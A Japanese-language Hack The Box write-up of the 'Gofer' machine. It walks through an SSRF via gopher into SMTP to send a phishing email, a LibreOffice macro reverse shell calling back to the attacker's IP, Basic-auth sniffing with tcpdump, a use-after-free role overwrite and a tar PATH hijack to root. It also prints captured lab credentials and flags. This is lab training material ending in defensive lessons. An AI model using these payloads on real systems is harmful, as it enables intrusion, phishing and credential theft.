Hack The BoxのWriteup(Gofer)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Gofer — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/139/445
→
SMB匿名アクセス
.backup/mail で社員名・ヒント入手
→
<Limit GET> メソッドバイパス
POST で proxy.gofer.htb 認証回避
→
Gopher SSRF → SMTP注入
内部25番ポートへフィッシング送信
→
悪意ある .odt マクロ
LibreOffice Basic reverse shell
→
jhudson シェル
user.txt ✓
→
tcpdump sniffing
tbuckley の Basic認証を平文捕捉
→
notes バイナリ UAF
role=admin に昇格
→
tar PATH Hijack
/dev/shm に偽tar
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

バージョン・スクリプトスキャン

BASH
nmap -Pn -p 22,80,139,445 -sV -sC --max-retries 2 10.129.83.51
RESULT
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.56
|_http-title: Gofer
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>
ℹ️
80番にアクセスすると gofer.htb への仮想ホストリダイレクトが発生する。先に /etc/hosts に 10.129.83.51 gofer.htb を追加しておく。OpenSSH 8.4p1 / Apache 2.4.56 から Debian 11 (bullseye) と判断できる。

SMB匿名アクセス — .backup/mail の取得

BASH
smbclient -N -L //10.129.83.51
smbclient -N //10.129.83.51/shares -c "cd .backup; get mail; ls"
RESULT (共有一覧)
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shares          Disk
        IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
RESULT (mail の内容)
From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
X-Original-To: tbuckley@gofer.htb
Subject:Important to read!
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of
clicking on links without paying much attention may be problematic one day.
That's why from now on, I've decided that important documents will only be
sent internally, by mail, which should greatly limit the risks. If possible,
use an .odt format, as documents saved in Office Word are not always well
interpreted by Libreoffice.

PS: Last thing for Tom; I know you're working on our web proxy but if you
could restrict access, it will be more secure until you have finished it.
It seems to me that it should be possible to do so via <Limit>
🚨
この1通のメールに攻略の全ヒントが詰まっている: ① jdavis(CEO)・jhudson=Jocelyn(フィッシングに弱い)・tbuckley=Tom(プロキシ開発担当)という ユーザー命名規則(名前の頭文字+姓)、② フィッシングには .odt 形式が有効であること、 ③ Tom が作っているプロキシの認証制限が <Limit>(= Apache の <Limit GET>、 特定メソッドのみに認証をかける指示子)で実装されている可能性。

仮想ホスト探索 — proxy.gofer.htb の発見

BASH
ffuf -u http://10.129.83.51 -H "Host: FUZZ.gofer.htb" \
  -w subdomains.txt -mc all -ac -t 10 -timeout 5
RESULT
proxy                   [Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 183ms]
:: Progress: [14/14] :: Job [1/1] :: 76 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
ℹ️
Host: ヘッダーを differ させて 401 (Basic認証) を返す proxy を発見。 mail のヒント通り、Tom が開発中の内部プロキシ。/etc/hosts に proxy.gofer.htb も追記する。
PHASE 2

<Limit GET> メソッドバイパス & Gopher SSRF 悪用

GET=401 / POST=200 — 認証バイパスの確認

BASH
# GET(認証必須)
curl -s -i --max-time 10 http://proxy.gofer.htb/

# POST + url パラメータ(認証無しで到達)
curl -s -i -X POST --max-time 10 "http://proxy.gofer.htb/index.php?url=http://gofer.htb"
RESULT
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Restricted Content"

HTTP/1.1 200 OK
<!-- Welcome to Gofer proxy -->
<!DOCTYPE html>
<html lang="en">
...(gofer.htb のトップページがプロキシされて返ってくる)
🚨
mail のヒント通り、Apache の設定が <Limit GET>...</Limit> で GET メソッドのみに Basic認証をかけている。POST(や PUT/OPTIONS)で index.php?url= に到達すると認証を一切経由せず 任意URLへのオープンプロキシ (SSRF) が使える。

Gopher スキーム — ブラックリスト回避とSMTP直接会話

NOTE
index.php のブラックリストは localhost/127.0.0.1 や smtp://, file:// 等のスキームを塞いでいるが、
ほぼ廃れた gopher:// は対象外。gopher:// は改行すら持たないプロトコルなので、

  gopher://HOST:PORT/_<生バイト列>

という形で「1文字 (_) の後ろ全部」を生のTCPペイロードとして対象ポートに流し込める。
これを使えば index.php 経由で内部 SMTP(25番, 外部からは filtered)と直接会話できる。

改行は通常の %0d%0a では届かず、二重URLエンコード %250d%250a が必要
(index.php が1回 urldecode してから curl に渡すため)。

SMTPコマンド注入 PoC — フィッシングメール送信

BASH
curl -s -X POST --max-time 20 \
  "http://proxy.gofer.htb/index.php?url=gopher://gofer.htb:25/_HELO%20gofer-relay%250d%250a\
MAIL%20FROM:jdavis@gofer.htb%250d%250aRCPT%20TO:jhudson@gofer.htb%250d%250aDATA%250d%250a\
Subject:%20Important%20document%20-%20please%20review%250d%250a%250d%250a\
Hello%20Jocelyn,%20please%20review%20the%20attached%20document%20ASAP:%20\
http://10.10.15.200:9100/report.odt%20.%250d%250a.%250d%250aQUIT%250d%250a
"
RESULT
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 5CFFA66EF
221 2.0.0 Bye
✅
宛先は gofer.htb:25(127.0.0.1 ではなく!)。ターゲット自身の /etc/hosts では gofer.htb が 127.0.0.1 に解決されるため、index.php(ターゲット上で動くプロキシ)から見ると これは ループバック接続になり、外部からは filtered な 25番ポートの Postfix に直接到達できる。 250 ... queued が返り、メール送信が成功した。
PHASE 3

悪意ある .odt マクロでフィッシング & user.txt 取得

LibreOffice Basic マクロの作成(Document-Open で自動発火)

NOTE
LibreOffice Writer で適当な文書を作り「マクロの管理 > Basic」から Module1 に以下を記述、
"開く"(dom:load) イベントに割り当てて .odt として保存する:

  Sub OnLoad
    Shell("bash -c 'bash -i >& /dev/tcp/10.10.15.200/9200 0>&1'")
  End Sub
⚠️
落とし穴①: LibreOffice Basic の Shell() は単純な空白区切りトークナイズしかせず、 bash -c '...' の単一引用符や >& 等のシェル構文を一切解釈しない。そのため マクロは実行されるのに reverse shell が一切飛んでこない。対策として Basic のファイルI/Oで スクリプト本体を /tmp に書き出し、Shell() には「空白を含まない1トークンのパス」 だけを渡して直接実行する(chmod +x → 実行)。
🚨
落とし穴②(最重要・最初に全試行が失敗した原因): LibreOffice のマクロは ODF コンテナ内の Basic/Standard/Module1.xml という XMLファイルとして保存される。マクロ本文に生の &(文字列連結演算子や bash -i >& ... のシェル記法)をそのまま書き込むと、XMLとして不正 (xmlParseEntityRef: no name) になり、LibreOffice がモジュール全体のパースに失敗して OnLoad が一切発火しない。症状は「フィッシングメールは届く・bot は .odt を正しく wget する・ なのに reverse shell が永久に来ない」という形で現れ、ネットワーク面は全て正常に見えるため非常に気付きにくい。 & は必ず &amp;、> は &gt; にエスケープしてから Module1.xml に埋め込む必要がある。

配布用HTTPサーバー起動 & リバースシェル待受

BASH
# ターミナル1: 悪意ある report.odt を配布
python3 -m http.server 9100 --bind 0.0.0.0

# ターミナル2: リバースシェル受信
nc -lvnp 9200

フィッシングメール送信(Phase2のGopher注入を再利用)

RESULT (HTTPサーバー側ログ)
10.129.83.51 - - [16/Oct/2026 22:16:00] "GET /report.odt HTTP/1.1" 200 -
ℹ️
メール送信からおよそ1分以内に、ターゲット上で動く「Jocelyn のメールチェック」を模した 自動化ボットが wget で添付リンクを取得する(0xdf の検証でも「1分弱でクリックが来る」と記載されている)。

シェル接続確認 & user.txt 取得

RESULT (nc リスナー側)
listening on [any] 9200 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.83.51] 36044
bash: cannot set terminal process group (12307): Inappropriate ioctl for device
bash: no job control in this shell
jhudson@gofer:/usr/bin$ id
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
jhudson@gofer:/usr/bin$ cat ~/user.txt
c5fb912cebf8189aedf47fda2ba1ebe9
user.txt — jhudson@gofer
c5fb912cebf8189aedf47fda2ba1ebe9
✅
シェル取得成功! jhudson は netdev グループに所属しており、 これが次フェーズ(tcpdump での平文クレデンシャル窃取)の鍵になる。
PHASE 4

権限昇格調査 — tcpdump で tbuckley のクレデンシャルを捕捉

cap_net_raw/cap_net_admin 付き tcpdump の発見

BASH
jhudson@gofer:~$ /usr/sbin/getcap -r / 2>/dev/null
RESULT
/usr/bin/ping cap_net_raw=ep
/usr/bin/tcpdump cap_net_admin,cap_net_raw=eip
ℹ️
tcpdump に capability が付与され、SUID/SGID 無しでも任意ユーザーがパケットキャプチャ可能。 /etc/group を見ると notes バイナリを実行できる dev グループは tbuckley のみで、 tbuckley の資格情報を手に入れることが次の目標になる。

GETリクエストのみフィルタしてtcpdump

BASH
jhudson@gofer:/usr/bin$ timeout 60 tcpdump -i any -nn -A \
  'tcp port 80 and (tcp[((tcp[12:1] & 0xF0) >> 2):4] = 0x47455420)'
RESULT
14:21:0x.xxxxxx lo In IP 127.0.0.1.xxxxx > 127.0.0.1.80: Flags [P.], ...: HTTP: GET /?url=http://gofer.htb HTTP/1.1
GET /?url=http://gofer.htb HTTP/1.1
Host: proxy.gofer.htb
Authorization: Basic dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk=
User-Agent: curl/7.74.0
Accept: */*

15698 packets captured
BASH (デコード)
echo "dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk=" | base64 -d
RESULT
tbuckley:ooP4dietie3o_hquaeti
✅
数十秒待つと tbuckley(Tom)が自身の開発中プロキシへ curl で定期アクセスしており、Basic認証ヘッダーが 平文で流れるのを lo インターフェース上で捕捉できた。proxy.gofer.htb の認証自体がボトルネックで、 ローカルループバック上の HTTP Basic は TLS が無いためこのような sniffing が成立する。

SSH ログイン確認

BASH
sshpass -p ooP4dietie3o_hquaeti ssh tbuckley@10.129.83.51
RESULT
tbuckley@gofer:~$ id
uid=1002(tbuckley) gid=1002(tbuckley) groups=1002(tbuckley),1004(dev)
ℹ️
同じパスワードが tbuckley の SSH/システムログインにもそのまま使われている(パスワード再利用)。 dev グループに所属しており、root SetUID/SetGID バイナリ /usr/local/bin/notes を実行できる。
PHASE 5

/usr/local/bin/notes の Use-After-Free 解析 — admin 役割への昇格

notes の権限とメニュー

BASH
tbuckley@gofer:~$ ls -l /usr/local/bin/notes
tbuckley@gofer:~$ notes
RESULT
-rwsr-s--- 1 root dev 17168 Apr 28 16:06 /usr/local/bin/notes

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
🚨
root:dev の SetUID+SetGID バイナリ。「8) Backup notes」は admin ロールのユーザーのみ 実行できる、root 権限での tar バックアップ機能だと推測できる。

use-after-free の発見 — ユーザー削除後に残るポインタ

BASH
Your choice: 1
Choose an username: 0xdf
Your choice: 2   # Username: 0xdf / Role: user
Your choice: 3   # ユーザー削除
Your choice: 2   # 削除後に再度参照
RESULT
Username:
Role: user   ← エラーにならず、解放済みメモリの内容がそのまま表示される
⚠️
ユーザーを delete(free())した後もユーザー名/ロールへのポインタが NULL化されない。 この状態で 4) Write a note を使うと、ヒープアロケータが同じ chunk を再利用して note の内容が username/role ポインタと重なる(classic UAF)。

オフセット特定 — De Bruijn パターンで24バイトを確認

PYTHON (ペイロード送出, pexpect経由でSSH上のnotesを操作)
PAT = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9"   # msf pattern_create -l 30 相当
run("1", ...); run("0xdf", ...)   # ユーザー作成
run("2", ...)                      # 確認
run("3", ...)                      # 削除 (UAF発生)
run("4", ...); run(PAT, ...)       # note としてパターンを書き込む
run("2", ...)                      # 再度ユーザー情報を参照
RESULT (実機での実際の出力)
Username: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9
Role: Aa8Aa9
✅
Username は note 全体とバイト単位で一致し、Role フィールドは Aa8Aa9 から始まる=パターン先頭から 24バイト目が role の開始位置であることが判明 (pattern_offset -q Aa8A ⇒ 24)。つまり「24バイトの任意埋め文字 + 希望のロール文字列」を note として書き込めば、role フィールドを直接上書きできる。

admin ロールへの昇格

BASH
Your choice: 3                                  # 削除 (UAFを再発生させる)
Your choice: 4
Write your note: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7admin   # 24バイト埋め + "admin"
Your choice: 2
RESULT
Username: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7admin
Role: admin
BASH (admin機能を試す)
Your choice: 8
RESULT
Access granted!
tar: Removing leading `/' from member names
/opt/notes/
ℹ️
role チェックを突破し「Access granted!」まで到達したが、tar の実行自体はここでは バックアップ先が空なだけで完了している。次はこの tar 呼び出し自体を乗っ取る。
PHASE 6

tar の PATH Hijack → root.txt

tar 呼び出しをバイナリから確認

BASH
tbuckley@gofer:~$ strings /usr/local/bin/notes | grep 'tar '
RESULT
tar -czvf /root/backups/backup_notes.tar.gz /opt/notes
🚨
tar が フルパス無しで呼ばれている。root 権限で動くこの SetUID バイナリが $PATH から tar を解決するため、自分の $PATH の先頭に悪意ある tar という名前の実行可能ファイルを置けば、それが root 権限で実行される。

/dev/shm に偽 tar を設置

BASH
tbuckley@gofer:~$ mkdir -p /dev/shm/tbuckley_demo && cd /dev/shm/tbuckley_demo
tbuckley@gofer:/dev/shm/tbuckley_demo$ printf '#!/bin/bash\nbash -i\n' > tar
tbuckley@gofer:/dev/shm/tbuckley_demo$ chmod +x tar
tbuckley@gofer:/dev/shm/tbuckley_demo$ export PATH=.:$PATH
tbuckley@gofer:/dev/shm/tbuckley_demo$ echo $PATH
RESULT
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

admin 昇格を再実行 → 8) Backup notes → root シェル

BASH
tbuckley@gofer:/dev/shm/tbuckley_demo$ notes
Your choice: 1
Choose an username: pwner
Your choice: 3
Your choice: 4
Write your note: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7admin
Your choice: 2   # Role: admin を確認
Your choice: 8   # Backup notes 実行 → ここで $PATH 経由の偽tarが root 権限で起動
RESULT
Access granted!
root@gofer:/dev/shm/tbuckley_demo# id
uid=0(root) gid=0(root) groups=0(root),1002(tbuckley),1004(dev)
✅
root 昇格成功! notes が SetUID root として $PATH 経由の tar (実体は bash -i)を起動し、root 権限の対話シェルに drop した。

root.txt 取得

BASH
root@gofer:/dev/shm/tbuckley_demo# cat /root/root.txt
RESULT
e66125b73cac6f6482ac672a911d3bc0
root.txt — root@gofer
e66125b73cac6f6482ac672a911d3bc0
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jhudson@gofer
c5fb912cebf8189aedf47fda2ba1ebe9
root.txt — root@gofer
e66125b73cac6f6482ac672a911d3bc0

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SMB匿名アクセス Samba (shares 共有) 内部メール・ユーザー命名規則・プロキシのヒント漏洩 Medium 認証なしで .backup/mail を取得し、以降の全攻略のヒントを得る
Apache <Limit GET> メソッドバイパス proxy.gofer.htb (index.php) Basic認証バイパス → 任意URLへのSSRF High GETのみに認証をかける設定の穴を突き、POST/PUT/OPTIONSで index.php?url= に到達
Gopher SSRF → SMTPコマンド注入 内部 Postfix (25/tcp, loopback限定) 任意ユーザーへの任意内容メール送信(フィッシング) Critical gopher://gofer.htb:25/_<raw-SMTP> で外部から到達不能な内部SMTPに直接コマンド注入
悪意ある .odt マクロ (フィッシング) LibreOffice (jhudson の自動メールチェックボット) リモートコード実行(jhudson権限) Critical Document-Openイベントで発火するStarBasicマクロでreverse shellを起動、user.txt 取得
平文Basic認証のsniffing proxy.gofer.htb へのループバックアクセス tbuckley の資格情報窃取 Medium cap_net_raw/cap_net_admin 付き tcpdump で tbuckley の定期curlアクセスのBasic認証ヘッダーを平文捕捉
notes バイナリ Use-After-Free /usr/local/bin/notes (SetUID root, SetGID dev) 権限昇格(admin ロール取得) Critical ユーザー削除後に残るポインタへnote書込みでrole値を上書き、admin限定機能を解放
tar の PATH Hijack notes の “Backup notes” 機能 (root実行) root権限でのコマンド実行 High フルパス無しで呼ばれる tar を $PATH 経由で乗っ取り、root.txt 取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + SMB匿名アクセス + vhostファジング22/80/139/445、mail ヒント、proxy.gofer.htb
2SSRF悪用<Limit GET>バイパス + Gopher→SMTP注入内部25番ポートへのメール送信能力
3フィッシング悪意ある.odtマクロ(Document-Open自動発火)user.txt(jhudsonシェル)
4権限調査tcpdump sniffing(cap_net_raw)tbuckley:ooP4dietie3o_hquaeti
5UAF解析notesバイナリの use-after-free(オフセット24)role=admin への昇格
6権限昇格tarのPATH Hijack(/dev/shmに偽tar)root.txt(rootシェル)

学んだ教訓 & 防御策

問題点防御策
SMB匿名共有に機密メール(内部ヒント)が残置 匿名アクセスを無効化し、機密性のある内部文書を共有ディスクに残さない。棚卸しと定期的なACL監査を行う。
Apache <Limit GET> が GET のみに認証をかけており POST/PUT/OPTIONSが素通り <LimitExcept GET>(デフォルト拒否+例外許可)を使うか、Require valid-user を メソッド非依存のディレクティブで適用する。
SSRFフィルタがgopher等の非一般的スキームを見落とし、内部限定ポートへの到達を許す URLスキームはホワイトリスト方式(http/httpsのみ許可)にし、宛先IP/ポートもネットワーク層で制限する (アプリ側の文字列ブラックリストに依存しない)。
フィッシングメールに記載されたリンク・添付を自動で開く仕組み(人間の確認が無い) 添付ファイルのマクロ実行を既定で無効化し、組織ポリシーで「信頼済み発行者」以外のマクロをブロックする。
ローカルループバック上のHTTP Basic認証が平文のまま流れ、同一ホストの他プロセスから sniffing 可能 ループバック通信でもTLSを使うか、Basic認証をトークン/証明書ベースの認証に置き換える。 不要な capability(cap_net_raw等)を一般ユーザーの実行バイナリから剥奪する。
SetUID/SetGIDバイナリにuse-after-free(ポインタ未NULL化)が存在 free() 直後に必ずポインタをNULL化する。メモリ安全な言語への移行や、ASan/valgrindを用いた ヒープバグの継続的検査を行う。
root権限で動くバイナリが外部コマンド(tar)をフルパス無しで呼び出している 外部コマンドは必ずフルパス(/bin/tar等)で呼び出し、execve()前に $PATHを信頼できる値に明示的にリセットする。
HackTheBox: Gofer | 完全攻略レポート